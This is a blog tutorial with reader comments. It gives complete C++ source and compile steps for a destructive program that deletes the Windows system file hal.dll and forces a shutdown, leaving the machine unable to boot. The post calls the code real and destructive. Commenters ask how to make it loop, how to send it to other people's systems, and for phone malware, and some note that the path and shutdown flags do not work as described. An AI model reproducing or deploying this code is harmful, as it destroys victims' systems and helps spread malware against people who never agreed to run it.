In this blog Iam going to show you how to create a simple virus using c++ language.It's simple but destructive...let's do it.
virus is something which illegally controlls the user pc without his/her permission.viruses like Trojan horse,back doors,computer viruses are dangerous..virus which is explained in this blog is dangerous so don't try it on your system and use it at your own risk..This virus will delete the hal.dll(this file helps the system in startup)in your system32 folder.After performing such task your will no longer will be able to start your system.....
Here is the source code:
-------------------------------------------------------------------
#include <cstdlib>
#include <iostream>
using namespace std;
int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll");
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
-------------------------------------------------------------------
NOTE: The source code of virus is not fake...it's real and destructive.
After typing the above source code in notepad .save the file as bee.cpp.
After saving...
compile the source file ...(to compile c++ source file see How to compile c++ programs ?)
You will get a .exe file
On opening the .exe file your system will restart and crash...
NOTE: If you have any Questions regarding this post please comment .........






What has been proven? i'm from Indonesia.
Does this crash the computer over and over or do you have to add a loop to make it do that?
@Dillon Morrison It deletes a file needed to start up your comp, then closes your system, wich you will not be able to boot again : ) But i think you can fix it with your windows recov. cd
with this code, hal.dll would be deleted but the computer won't shut down....
well...I am not a c++ expert so I don't know how one can shut the computer down using a program.....but I have tried this out on Dev c++ and it doesn't shutdown....Please help....
one more thing....c:\windows\system32\hal.dll is the url of this file only in windows xp.....for windows 7 and other operating systems you need to provide different addresses..
lol i didnt work i cant even understan the codes. pls explain it better im egger to learn the system functions. from PHillipines.
i have compiled this code in g++ compiler
it show an error in line 6 that variable 'remove' is an
undeclared variable first use this variable.
how to send this file to other,system
The address "c: \\windows\\system32\\hal.dll does not work in windows 7 . So what address we have to type in windows 7 .
can u give the code of cell phone virus.....